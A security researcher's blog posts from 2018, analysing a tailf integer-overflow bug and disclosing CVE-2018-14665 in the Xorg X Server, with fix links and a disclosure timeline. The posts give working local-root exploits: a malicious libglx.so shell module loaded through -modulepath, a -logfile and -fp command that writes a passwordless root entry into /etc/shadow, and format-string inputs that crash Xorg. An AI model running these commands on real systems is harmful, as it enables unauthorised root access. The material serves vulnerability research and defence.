Wednesday, November 14, 2018

tailf utility memory corruption vulnerability

Note: 

tailf vulnerability was reported to RedHat Product Security Team and based on following points we mutually agree that this issue creates extremely low, almost no security impact.
  • Default util-linux package shipped with CentOS is vulnerable, but tailf is deprecated and removed in latest util-linux package. So just package upgrade is needed.
  • Tailf is not "setuid",  so no gain of additional privileges.
  • Due to nature of exploitation, it is highly unlikely to trick another user to exploit this issue.  
If you could think of any another way to exploit this vulnerability, please let me know.
This report might be useful for practicing secure code analysis, so I decided to post this blog for interested readers. 

Details:
======
man tailf

       tailf  will print out the last 10 lines of a file and then wait for the
       file to grow.  It is similar to tail -f but does not  access  the  file
       when  it  is not growing.

tailf application allows user to specify number of lines displayed on output. Due to improper integer
boundary checking on user controlled "lines" value, during memory allocation routines an attacker can trigger memory corruption.

Data flow:
=========
User controlled -n option is handled by old_style_options() and returns "long" value of lines parameter.

tailf.c
211 /* parses -N option */
212 static long old_style_option(int *argc, char **argv)
213 {
214         int i = 1, nargs = *argc;
215         long lines = -1;
216
217         while(i < nargs) {
218                 if (argv[i][0] == '-' && isdigit(argv[i][1])) {
219                         lines = strtol_or_err(argv[i] + 1,
220                                         _("failed to parse number of lines"));
221                         nargs--;
222                         if (nargs - i)
223                                 memmove(argv + i, argv + i + 1,
224                                                 sizeof(char *) * (nargs - i));
225                 } else
226                         i++;
227         }
228         *argc = nargs;
229         return lines;
230 }
Returned "long" lines value is then passed to tailf() function
tailf.c
282         tailf(filename, lines);
tailf.c
 51 static void
 52 tailf(const char *filename, int lines)
 53 {
 54         char *buf, *p;
 55         int  head = 0;
 56         int  tail = 0;
 57         FILE *str;
 58         int  i;
Notice that "long" lines value is casted to "integer" value. This leads to value truncation, but lets skip this for our analysis.
The interesting code path is at line 63 in tailf() function.

tailf.c
 60         if (!(str = fopen(filename, "r")))
 61                 err(EXIT_FAILURE, _("cannot open %s"), filename);
 62
 63         buf = xmalloc((lines ? lines : 1) * BUFSIZ);
Here, application calculate required allocated memory size using user controlled data. So this is a vulnerable code path.We can trick application to allocate less memory than expected size which could lead to memory corruption.

xmalloc() function accepts input size as size_t which is unsigned integer. So for memory corruption we need to consider boundary condition for unsigned integer.

UINT_MAX value is 4294967295. If provided value is larger than UINT_MAX, it wraps around 0.

For trigger,  we need value of lines = 4294967295 / BUFSIZE (8192) = 524287 + 1  = 524288

include/xalloc.h
   23 void *xmalloc(const size_t size)
   24 {
   25         void *ret = malloc(size);
   26
   27         if (!ret && size)
   28                 err(XALLOC_EXIT_CODE, "cannot allocate %zu bytes", size);
   29         return ret;
   30 }

Breakpoint 7, tailf (filename=0xbffff627 "a.txt", lines=524288) at text-utils/tailf.c:63
63    buf = xmalloc((lines ? lines : 1) * BUFSIZ);
(gdb) s
xmalloc (size=0) at ./include/xalloc.h:25
25          void *ret = malloc(size);
(gdb)
As per glibc document - "Even a request for zero bytes (i.e., malloc(0)) returns a pointer to something of the minimum allocatable size." So malloc(0) allocates very small amount of memory chunk.
 64         p = buf;
 65         while (fgets(p, BUFSIZ, str)) {
 66                 if (++tail >= lines) {
 67                         tail = 0;
 68                         head = 1;
 69                 }
 70                 p = buf + (tail * BUFSIZ);
 71         }
fgets() reads BUFSIZ from str stream and copy into p (i.e. memory returned by malloc(0)) results into memory corruption.
Program received signal SIGSEGV, Segmentation fault.
_IO_least_marker (fp=fp@entry=0x804f768, end_p=end_p@entry=0x41414141 <Address 0x41414141 out of bounds>) at genops.c:135

[developer@centos-x86 test]$ ulimit -c unlimited
[developer@centos-x86 test]$
[developer@centos-x86 test]$ tailf -524288 huge.txt
Segmentation fault (core dumped)
[developer@centos-x86 test]$ gdb -q -c core.2908
[New LWP 2908]
Missing separate debuginfo for the main executable file
Try: yum --enablerepo='*debug*' install /usr/lib/debug/.build-id/30/a39ee9c3a27a2a017df25861c1a6d2b73cf4d0
Core was generated by `tailf -524288 huge.txt'.
Program terminated with signal 11, Segmentation fault.
#0  0xb7621ce8 in ?? ()

(gdb) bt
#0  0xb7621ce8 in ?? ()
#1  0xb7621d22 in ?? ()
#2  0x09d98768 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)

(gdb) info r
eax            0x0  0
ecx            0x41414141 1094795585
edx            0x41414141 1094795585
ebx            0xb7774000 -1216921600
esp            0xbfd2ae1c 0xbfd2ae1c
ebp            0x41414141 0x41414141
esi            0x9d98768  165250920
edi            0x41414141 1094795585
eip            0xb7621ce8 0xb7621ce8
eflags         0x10206  [ PF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
(gdb)

Another interesting code path for analysis  -

tailf.c
 65         while (fgets(p, BUFSIZ, str)) {
 66                 if (++tail >= lines) {
 67                         tail = 0;
 68                         head = 1;
 69                 }
 70                 p = buf + (tail * BUFSIZ);
 71         }
 72
 73         if (head) {
 74                 for (i = tail; i < lines; i++)
 75                         fputs(buf + (i * BUFSIZ), stdout);
 76                 for (i = 0; i < tail; i++)
 77                         fputs(buf + (i * BUFSIZ), stdout);
 78         } else {
 79                 for (i = head; i < tail; i++)
 80                         fputs(buf + (i * BUFSIZ), stdout);
 81         }
 82
 83         fflush(stdout);
 84         free(buf);  
 85         fclose(str);
 86 }

[developer@centos-x86 test]$ cat a.txt
AAAAAAAAAA
BBBBBBBBBB
CCCCCC

[developer@centos-x86 test]$ gdb /usr/bin/tailf
GNU gdb (GDB) Red Hat Enterprise Linux 7.6.1-110.el7
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-redhat-linux-gnu".
For bug eporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /usr/bin/tailf...done.
(gdb)
(gdb) r -524289 a.txt

*** Error in `/usr/bin/tailf': double free or corruption (!prev): 0x0804f8d0 ***

======= Backtrace: =========
/lib/libc.so.6(+0x798ad)[0xb7e748ad]
/usr/bin/tailf[0x804916d]
/usr/bin/tailf[0x80498a4]
/lib/libc.so.6(__libc_start_main+0xf3)[0xb7e151b3]
/usr/bin/tailf[0x8048dd1]
======= Memory map: ========
08048000-0804c000 r-xp 00000000 fd:00 720542     /usr/bin/tailf
0804c000-0804d000 r--p 00003000 fd:00 720542     /usr/bin/tailf
0804d000-0804e000 rw-p 00004000 fd:00 720542     /usr/bin/tailf
0804e000-0806f000 rw-p 00000000 00:00 0          [heap]
b7900000-b7921000 rw-p 00000000 00:00 0
b7921000-b7a00000 ---p 00000000 00:00 0
b7a9b000-b7ab4000 r-xp 00000000 fd:00 70880884   /usr/lib/libgcc_s-4.8.5-20150702.so.1
b7ab4000-b7ab5000 r--p 00018000 fd:00 70880884   /usr/lib/libgcc_s-4.8.5-20150702.so.1
b7ab5000-b7ab6000 rw-p 00019000 fd:00 70880884   /usr/lib/libgcc_s-4.8.5-20150702.so.1
b7aca000-b7bfa000 r--p 0019b000 fd:00 100980597  /usr/lib/locale/locale-archive
b7bfa000-b7dfa000 r--p 00000000 fd:00 100980597  /usr/lib/locale/locale-archive
b7dfa000-b7dfb000 rw-p 00000000 00:00 0
b7dfb000-b7fbf000 r-xp 00000000 fd:00 67379892   /usr/lib/libc-2.17.so
b7fbf000-b7fc0000 ---p 001c4000 fd:00 67379892   /usr/lib/libc-2.17.so
b7fc0000-b7fc2000 r--p 001c4000 fd:00 67379892   /usr/lib/libc-2.17.so
b7fc2000-b7fc3000 rw-p 001c6000 fd:00 67379892   /usr/lib/libc-2.17.so
b7fc3000-b7fc6000 rw-p 00000000 00:00 0
b7fd6000-b7fd9000 rw-p 00000000 00:00 0
b7fd9000-b7fda000 r--p 01162000 fd:00 100980597  /usr/lib/locale/locale-archive
b7fda000-b7fdb000 rw-p 00000000 00:00 0
b7fdb000-b7fdc000 r-xp 00000000 00:00 0          [vdso]
b7fdc000-b7ffe000 r-xp 00000000 fd:00 67379885   /usr/lib/ld-2.17.so
b7ffe000-b7fff000 r--p 00021000 fd:00 67379885   /usr/lib/ld-2.17.so
b7fff000-b8000000 rw-p 00022000 fd:00 67379885   /usr/lib/ld-2.17.so
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]

Friday, October 26, 2018

CVE-2018-14665 : Another way of exploitation using "-modulepath"

[ Credit - RedHat Product Security Team discovered this issue. ]


There is lot of discussion going about  CVE-2018-14665  exploitation using -logfile but second vulnerable option "modulepath" is almost ignored.

CVE-2018-14665 can be exploited in another way using "-modulepath" option which allows user to load and execute malicious code as root !!

Exploitation:
==========
1. Collect Xorg X Server loaded modules information

Xorg X Server loads various modules during startup. For this demo we will be using - libglx.so
  [  5549.223] (II) LoadModule: "glx"
  [  5549.223] (II) Loading /usr/lib/xorg/modules/extensions/libglx.so
  [  5549.224] (II) Module glx: vendor="X.Org Foundation
2. Create small shell module
Shell.c
  #include <stdio.h>
  #include <sys/types.h>
  #include <stdlib.h>
  void _init() {
  setgid(0);
  setuid(0);
  system("/bin/bash");
  }

  [developer@centos-x86 xorg-demo]$ gcc -fPIC -shared -o libglx.so shell.c -nostartfiles
  [developer@centos-x86 xorg-demo]$ 
  [developer@centos-x86 xorg-demo]$ ls -la
  total 16
  drwxrwxr-x.  2 developer developer   38 Oct 26 22:14 .
  drwx------. 26 developer developer 4096 Oct 26 22:02 ..
  -rwxrwxr-x.  1 developer developer 5772 Oct 26 22:14 libglx.so
  -rw-rw-r--.  1 developer developer  147 Oct 26 22:03 shell.c
  [developer@centos-x86 xorg-demo]$ 
  [developer@centos-x86 xorg-demo]$ 
3. Load our malicious shell module
  [developer@centos-x86 ~]$ 
  [developer@centos-x86 ~]$ id
  uid=1000(developer) gid=1000(developer) groups=1000(developer) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
  [developer@centos-x86 ~]$ 
  [developer@centos-x86 ~]$ Xorg -modulepath ',/home/developer/xorg-demo' :2 
  
  X.Org X Server 1.19.5
  Release Date: 2017-10-12
  X Protocol Version 11, Revision 0
  Build Operating System:  3.10.0-693.17.1.el7.x86_64 
  Current Operating System: Linux centos-x86.localdomain 3.10.0-862.14.4.el7.centos.plus.i686 #1 SMP Fri Sep 28 05:30:57 UTC 2018 i686
  Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.14.4.el7.centos.plus.i686 root=/dev/mapper/centos-root ro crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8
  Build Date: 11 April 2018  04:44:33PM
  Build ID: xorg-x11-server 1.19.5-5.el7 
  Current version of pixman: 0.34.0
   Before reporting problems, check http://wiki.x.org
   to make sure that you have the latest version.
  Markers: (--) probed, (**) from config file, (==) default setting,
   (++) from command line, (!!) notice, (II) informational,
   (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
  (==) Log file: "/var/log/Xorg.2.log", Time: Fri Oct 26 22:15:12 2018
  (==) Using config directory: "/etc/X11/xorg.conf.d"
  (==) Using system config directory "/usr/share/X11/xorg.conf.d"
  'abrt-cli status' timed out
  
  -- wait for few seconds and you will be dropped into root shell ---
  
  [root@centos-x86 ~]# 
  [root@centos-x86 ~]# 
  [root@centos-x86 ~]# id
  uid=0(root) gid=0(root) groups=0(root),1000(developer) context=unconfined_u:unconfined_r:xserver_t:s0-s0:c0.c1023
  [root@centos-x86 ~]# 
Module loader logs :
  [  6683.669] (++) ModulePath set to ",/home/developer/xorg-demo"
  [  6683.669] (II) The server relies on udev to provide the list of input devices.
          If no devices become available, reconfigure udev or disable AutoAddDevices.
  [  6683.669] (II) Loader magic: 0x6f5020
  [  6683.669] (II) Module ABI versions:
  [  6683.669]    X.Org ANSI C Emulation: 0.4
  [  6683.669]    X.Org Video Driver: 23.0
  [  6683.669]    X.Org XInput driver : 24.1
  [  6683.669]    X.Org Server Extension : 10.0
  [  6683.678] (--) PCI:*(0:0:2:0) 80ee:beef:0000:0000 rev 0, Mem @ 0xe0000000/33554432, BIOS @ 0x????????/131072
  [  6683.678] (II) LoadModule: "glx"
  [  6683.678] (II) Loading /home/developer/xorg-demo/libglx.so

Thursday, October 25, 2018

CVE-2018-14665 : Xorg X Server Vulnerabilities

1.  Arbitrary File Overwrite Vulnerability Leads to Privilege Escalation


Details:
======

X.org X Server application is vulnerable to privilege escalation issue. X.org X Server  application allows lower privileged user to create or overwrite file anywhere on system , including files owned by privileged users (ex. /etc/shadow).

The attacker needs to have active console session to exploit this issue.

Test Targets:
===========
  CentOS-7
  [narendra@localhost ~]$ uname -a
  Linux localhost.localdomain 4.18.11-1.el7.elrepo.x86_64 #1 SMP Sat Sep 29 09:42:38 EDT 2018 x86_64 x86_64 xGNU/Linux

  Rhel-server-7.5
  root@localhost Dev]# uname -a
  Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64 x86_64 x86_64 GNU/Linux

Tested with X.Org X Server 1.19.5.

Analysis:
=======

On CentOS and RedHat server operating systems, X.org X server executable ( /usr/bin/Xorg ) is assigned with "root setuid" permission.
  [Dev@localhost ~]$ ls -la /usr/bin/Xorg
  -rwsr-xr-x. 1 root root 2409344 Apr 11 22:12 /usr/bin/Xorg
In X.org X server application, LogInit() function prepares setup for logging activities. X.org X server allows user to specify logfile name using "-logfile" option.

If file with same name as user provided "<logfile>" is already present on system then, its renamed to "<logfile>.old".

Once this is done a new file is created with user provided "<logfile>" name using fopen() call as below,

Xorg-Server/os/log.c
  244 const char *  
  245 LogInit(const char *fname, const char *backup)  
  246 {  
  247   char *logFileName = NULL;  
  248   
  249   if (fname && *fname) {  
  250     if (displayfd != -1) {  
  251       /* Display isn't set yet, so we can't use it in filenames yet. */  
  252       char pidstring[32];  
  253       snprintf(pidstring, sizeof(pidstring), "pid-%ld",  
  254           (unsigned long) getpid());  
  255       logFileName = LogFilePrep(fname, backup, pidstring);  
  256       saved_log_tempname = logFileName;  
  257   
  258       /* Save the patterns for use when the display is named. */  
  259       saved_log_fname = strdup(fname);  
  260       if (backup == NULL)  
  261         saved_log_backup = NULL;  
  262       else  
  263         saved_log_backup = strdup(backup);  
  264     } else  
  265       logFileName = LogFilePrep(fname, backup, display);  
  266     if ((logFile = fopen(logFileName, "w")) == NULL)  
  267       FatalError("Cannot open log file \"%s\"\n", logFileName);  
  268     setvbuf(logFile, NULL, _IONBF, 0);  
  269   
  270     logFileFd = fileno(logFile);  

The underlying open() syscall with umask permissionsdetails can be confirmed via strace -
  stat("mylogfile", 0x7ffcb9654ed0)      &n-1 ENOENT (No such file or directory)
  open("mylogfile", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 4
  rt_sigaction(SIGALRM, {0x55b6e2c2ca70, [ALRM], SA_RESTORER|SA_RESTART, 0x7fb0353036d0}, NULL, 8) = 0
From strace logs its confirmed that O_EXCL flag is not set, so fopen() will create or overwrite already present file.

Exploitation:
=========
For exploitation we need to use following 3 points -

1. fopen() syscall input is user-controlled filename value
2. fopen() will create or overwrite already present file
3. /usr/bin/Xorg executable is assigned with root "setuid" permissions

/etc/shadow file overwrite
  [Dev@localhost ~]$ uname -r
  
  3.10.0-862.el7.x86_64
  
  [Dev@localhost ~]$ Xorg -version
  
  X.Org X Server 1.19.5
  Release Date: 2017-10-12
  X Protocol Version 11, Revision 0
  Build Operating System:  2.6.32-696.18.7.el6.x86_64
  Current Operating System: Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64
  Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.el7.x86_64 root=/dev/mapper/rhel-root ro crashkernel=auto rd.lvm.lv=rhel/root rd.lvm.lv=rhel/swap rhgb quiet LANG=en_US.UTF-8
  Build Date: 13 February 2018  02:39:52PM
  Build ID: xorg-x11-server 1.19.5-5.el7
  Current version of pixman: 0.34.0
  Before reporting problems, check http://wiki.x.org to make sure that you have the latest version.
  
  [Dev@localhost ~]
  [Dev@localhost ~]$ id
  
  uid=1000(Dev) gid=1000(Dev) groups=1000(Dev) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
  
  [Dev@localhost ~]$
  [Dev@localhost ~]$ cd /etc
  [Dev@localhost etc]$ ls -la shadow
  
  ----------. 1 root root 1650 Oct  6 05:03 shadow
  
  [Dev@localhost etc]$
  [Dev@localhost etc]$ cat shadow
  
  cat: shadow: Permission denied
  
  [Dev@localhost etc]$
  [Dev@localhost etc]$ Xorg -logfile shadow :1
  
  X.Org X Server 1.19.5
  Release Date: 2017-10-12
  X Protocol Version 11, Revision 0
  Build Operating System:  2.6.32-696.18.7.el6.x86_64
  Current Operating System: Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64
  Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.el7.x86_64 root=/dev/mapper/rhel-root ro crashkernel=auto rd.lvm.lv=rhel/root rd.lvm.lv=rhel/swap rhgb quiet LANG=en_US.UTF-8
  Build Date: 13 February 2018  02:39:52PM
  Build ID: xorg-x11-server 1.19.5-5.el7
  Current version of pixman: 0.34.0
   Before reporting problems, check http://wiki.x.org to make sure that you have the latest version.
  Markers: (--) probed, (**) from config file, (==) default setting,
      (++) from command line, (!!) notice, (II) informational,
      (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
  (++) Log file: "shadow", Time: Sat Oct  6 21:54:13 2018
  (==) Using config directory: "/etc/X11/xorg.conf.d"
  (==) Using system config directory "/usr/share/X11/xorg.conf.d"
  ^Cerror setting MTRR (base = 0x00000000e0000000, size = 0x01700000, type = 1) Invalid argument (22)
  (II) Server terminated successfully (0). Closing log file.
  
  [Dev@localhost etc]$
  [Dev@localhost etc]$
  [Dev@localhost etc]$ ls -la shadow
  
  -rw-r--r--. 1 root Dev 53901 Oct  6 21:54 shadow
  
  [Dev@localhost etc]$
  [Dev@localhost etc]$ head shadow
  
  [ 11941.870]
  X.Org X Server 1.19.5
  Release Date: 2017-10-12
  [ 11941.870] X Protocol Version 11, Revision 0
  [ 11941.870] Build Operating System:  2.6.32-696.18.7.el6.x86_64
  [ 11941.870] Current Operating System: Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64
  [ 11941.870] Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.el7.x86_64 root=/dev/mapper/rhel-root ro crashkernel=auto rd.lvm.lv=rhel/root rd.lvm.lv=rhel/swap rhgb quiet LANG=en_US.UTF-8
  [ 11941.870] Build Date: 13 February 2018  02:39:52PM
  [ 11941.870] Build ID: xorg-x11-server 1.19.5-5.el7
  [ 11941.870] Current version of pixman: 0.34.0
  [Dev@localhost etc]$
Gain root privileges
  [Dev@localhost ~]$ id
  
  uid=1000(Dev) gid=1000(Dev) groups=1000(Dev) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
  
  [Dev@localhost ~]$
  [Dev@localhost ~]$ cd /etc
  [Dev@localhost etc]$
  [Dev@localhost etc]$ ls -la shadow
  
  ----------. 1 root root 1241 Oct 10 01:15 shadow
  
  [Dev@localhost etc]$
  [Dev@localhost etc]$ cat shadow
  
  cat: shadow: Permission denied
 
  [Dev@localhost etc]$
  [Dev@localhost etc]$ Xorg -fp "root::16431:0:99999:7:::"  -logfile shadow  :1

  X.Org X Server 1.19.5
  Release Date: 2017-10-12
  X Protocol Version 11, Revision 0
  Build Operating System:  3.10.0-693.17.1.el7.x86_64
  Current Operating System: Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
  Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.14.4.el7.x86_64 root=/dev/mapper/centos-root ro crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8
  Build Date: 11 April 2018  04:40:54PM
  Build ID: xorg-x11-server 1.19.5-5.el7
  Current version of pixman: 0.34.0
      Before reporting problems, check http://wiki.x.org
      to make sure that you have the latest version.
  Markers: (--) probed, (**) from config file, (==) default setting,
      (++) from command line, (!!) notice, (II) informational,
      (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
  (++) Log file: "shadow", Time: Wed Oct 10 01:16:10 2018
  (==) Using config directory: "/etc/X11/xorg.conf.d"
  (==) Using system config directory "/usr/share/X11/xorg.conf.d"
  ^Cerror setting MTRR (base = 0x00000000e0000000, size = 0x01700000, type = 1) Invalid argument (22)
  (II) Server terminated successfully (0). Closing log file.
  
  [Dev@localhost etc]$ ls -la shadow
  
  -rw-r--r--. 1 root Dev 53897 Oct 10 01:16 shadow
  
  [Dev@localhost etc]$
  [Dev@localhost etc]$ cat shadow | grep "root::"
  
      root::16431:0:99999:7:::
  
  [Dev@localhost etc]$
  [Dev@localhost etc]$
  [Dev@localhost etc]$ su
  [root@localhost etc]#
  [root@localhost etc]# id
  
  uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

2.  Format String Vulnerability 


Details:
======
X.org X Server application configuration option "-logfile" is vulnerable to format string vulnerability.

Analysis:
=======
The user controlled tainted data flow -

stubmain.c
 int dix_main(int argc, char *argv[], char *envp[]);
  /*
    A default implementation of main, which can be overridden by the DDX
   */

  int
  main(int argc, char *argv[], char *envp[])
  {
      return dix_main(argc, argv, envp);      // user controlled parameters in argv
dix/main.c
 int
  dix_main(int argc, char *argv[], char *envp[])
  {
    int i;
    HWEventQueueType alwaysCheckForInput[2];
    ....
    OsInit();      <=  /* Perform any operating system dependent initializations you'd like */
os/osinit.c
 void OsInit(void)
  {
      .....   
      /*
       * No log file by default.  OsVendorInit() should call LogInit() with the
       * log file name if logging to a file is desired.
       */

      OsVendorInit();
hw/xfree86/common/xf86Init.c
 void
  OsVendorInit(void)
  {
     ...
      if (!beenHere) {
          umask(022);
          xf86LogInit();
  }     
hw/xfree86/common/xf86Helper.c
  void
  xf86LogInit(void)
  {
      ...
      xf86LogFile = LogInit(xf86LogFile, LOGOLDSUFFIX);
os/log.c
  const char *
  LogInit(const char *fname, const char *backup)
  {
    ...
              logFileName = LogFilePrep(fname, backup, pidstring);
    ...
  }


  static char *
  LogFilePrep(const char *fname, const char *backup, const char *idstring)
  {
      char *logFileName = NULL;
      ...
  
      if (asprintf(&logFileName, fname, idstring) == -1)
          FatalError("Cannot allocate space for the log file name\n");
      ...

In above code, "fname" contains user controlled malicious input which is passed to asprintf() function results into format string vulnerability. 

Exploitation:
==========
Tested on CentOS 7
  [developer@localhost test]$ uname -a 
  
  Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
  
  [developer@localhost test]$
  [developer@localhost test]$ 
  [developer@localhost test]$ Xorg -version 
  
  X.Org X Server 1.19.5
  Release Date: 2017-10-12
  X Protocol Version 11, Revision 0
  Build Operating System:  3.10.0-693.17.1.el7.x86_64 
  Current Operating System: Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
  Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.14.4.el7.x86_64 root=/dev/mapper/centos-root ro crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8
  Build Date: 11 April 2018  04:40:54PM
  Build ID: xorg-x11-server 1.19.5-5.el7 
  Current version of pixman: 0.34.0
   Before reporting problems, check http://wiki.x.org
   to make sure that you have the latest version.
  
  [developer@localhost test]$ 
  [developer@localhost test]$ /usr/bin/Xorg -logfile xf86LogFile.%s.%s.%s.%s.%s.%s.%s.%s.%s.%s :1
  
  (EE) 
  (EE) Backtrace:
  (EE) 0: /usr/bin/Xorg (xorg_backtrace+0x55) [0x55770e41f135]
  (EE) 1: /usr/bin/Xorg (0x55770e271000+0x1b1ec9) [0x55770e422ec9]
  (EE) 2: /lib64/libpthread.so.0 (0x7f1908866000+0xf6d0) [0x7f19088756d0]
  (EE) 3: /lib64/libc.so.6 (_IO_vfprintf+0x4a79) [0x7f19084e5f19]
  (EE) 4: /lib64/libc.so.6 (__vasprintf_chk+0xb5) [0x7f19085b1085]
  (EE) 5: /lib64/libc.so.6 (__asprintf_chk+0x82) [0x7f19085b0fc2]
  (EE) 6: /usr/bin/Xorg (0x55770e271000+0x1bb655) [0x55770e42c655]
  (EE) 7: /usr/bin/Xorg (LogInit+0x19f) [0x55770e42c92f]
  (EE) 8: /usr/bin/Xorg (xf86LogInit+0x47) [0x55770e310cc7]
  (EE) 9: /usr/bin/Xorg (OsVendorInit+0x29) [0x55770e307909]
  (EE) 10: /usr/bin/Xorg (OsInit+0x25a) [0x55770e4231aa]
  (EE) 11: /usr/bin/Xorg (0x55770e271000+0x578dc) [0x55770e2c88dc]
  (EE) 12: /lib64/libc.so.6 (__libc_start_main+0xf5) [0x7f19084bb445]
  (EE) 13: /usr/bin/Xorg (0x55770e271000+0x41c7e) [0x55770e2b2c7e]
  (EE) 
  (EE) Segmentation fault at address 0x5
  (EE) 
  Fatal server error:
  (EE) Caught signal 11 (Segmentation fault). Server aborting
  
  [developer@localhost test]$ /usr/bin/Xorg -logfile xf86LogFile.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx :1
  
  X.Org X Server 1.19.5
  Release Date: 2017-10-12
  X Protocol Version 11, Revision 0
  Build Operating System:  3.10.0-693.17.1.el7.x86_64 
  Current Operating System: Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
  Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.14.4.el7.x86_64 root=/dev/mapper/centos-root ro crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8
  Build Date: 11 April 2018  04:40:54PM
  Build ID: xorg-x11-server 1.19.5-5.el7 
  Current version of pixman: 0.34.0
   Before reporting problems, check http://wiki.x.org
   to make sure that you have the latest version.
  Markers: (--) probed, (**) from config file, (==) default setting,
   (++) from command line, (!!) notice, (II) informational,
   (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
  (++) Log file: "xf86LogFile.7fff8bf88556.7fff8bf85fa0.7fff8bf85e50.7fff8bf85010.0.5585766edf18.7efdfefd4e98.5.3000000030.7fff8bf84ff0", Time: Thu Oct 11 20:39:32 2018
  (==) Using config directory: "/etc/X11/xorg.conf.d"
  (==) Using system config directory "/usr/share/X11/xorg.conf.d"
  pci id for fd 15: 80ee:beef, driver (null)
  EGL_MESA_drm_image required.
  ^C(II) Server terminated successfully (0). Closing log file.
  
  developer@localhost test]$ /usr/bin/Xorg -logfile xf86LogFile.%n.%n.%n.%n :1
  
  *** %n in writable segment detected ***
  (EE) 
  (EE) Backtrace:
  (EE) 0: /usr/bin/Xorg (xorg_backtrace+0x55) [0x563e94de6135]
  (EE) 1: /usr/bin/Xorg (0x563e94c38000+0x1b1ec9) [0x563e94de9ec9]
  (EE) 2: /lib64/libpthread.so.0 (0x7f0068f28000+0xf6d0) [0x7f0068f376d0]
  (EE) 3: /lib64/libc.so.6 (gsignal+0x37) [0x7f0068b91277]
  (EE) 4: /lib64/libc.so.6 (abort+0x148) [0x7f0068b92968]
  (EE) 5: /lib64/libc.so.6 (0x7f0068b5b000+0x78d37) [0x7f0068bd3d37]
  (EE) 6: /lib64/libc.so.6 (__libc_fatal+0x1e) [0x7f0068bd3e1e]
  (EE) 7: /lib64/libc.so.6 (_IO_vfprintf+0x2b76) [0x7f0068ba6016]
  (EE) 8: /lib64/libc.so.6 (__vasprintf_chk+0xb5) [0x7f0068c73085]
  (EE) 9: /lib64/libc.so.6 (__asprintf_chk+0x82) [0x7f0068c72fc2]
  (EE) 10: /usr/bin/Xorg (0x563e94c38000+0x1bb655) [0x563e94df3655]
  (EE) 11: /usr/bin/Xorg (LogInit+0x19f) [0x563e94df392f]
  (EE) 12: /usr/bin/Xorg (xf86LogInit+0x47) [0x563e94cd7cc7]
  (EE) 13: /usr/bin/Xorg (OsVendorInit+0x29) [0x563e94cce909]
  (EE) 14: /usr/bin/Xorg (OsInit+0x25a) [0x563e94dea1aa]
  (EE) 15: /usr/bin/Xorg (0x563e94c38000+0x578dc) [0x563e94c8f8dc]
  (EE) 16: /lib64/libc.so.6 (__libc_start_main+0xf5) [0x7f0068b7d445]
  (EE) 17: /usr/bin/Xorg (0x563e94c38000+0x41c7e) [0x563e94c79c7e]
  (EE) 
  (EE) 
  Fatal server error:
  (EE) Caught signal 6 (Aborted). Server aborting
  (EE) 
  (EE) 
  Please consult the The X.Org Foundation support at http://wiki.x.org for help. 
  (EE)

*** %n in writable segment detected ***  confirms that security hardening mechanism FORTIFY_SOURCE is enabled. So impact is minimized, this issue leads to sensitive system information leakage. 

Acknowledgments:
==============
I would like to thank X.org and Red Hat Product Security team.

Fix Information:
=============
https://lists.x.org/archives/xorg-announce/2018-October/002927.html
https://lists.x.org/archives/xorg-announce/2018-October/002928.html

Timeline:
========
2018-10-10: Contacted secalert@redhat.com
2018-10-12: Contacted X.org Team
2018-10-25: Coordinated Release Date (Time: 14:00 UTC)

Wednesday, September 26, 2018

Fun with C - Signed Integer Boundary Conditions

Arithmetic Boundary Condition Miscalculations are very common reasons for security issues in C/C++ applications.

Arithmetic Boundary Conditions:
Integer is one of the most important datatype in C. It has minimum and maximum possible values determined by underlying representation in memory.

Following table shows typical size and min/max range representation for Integer types.

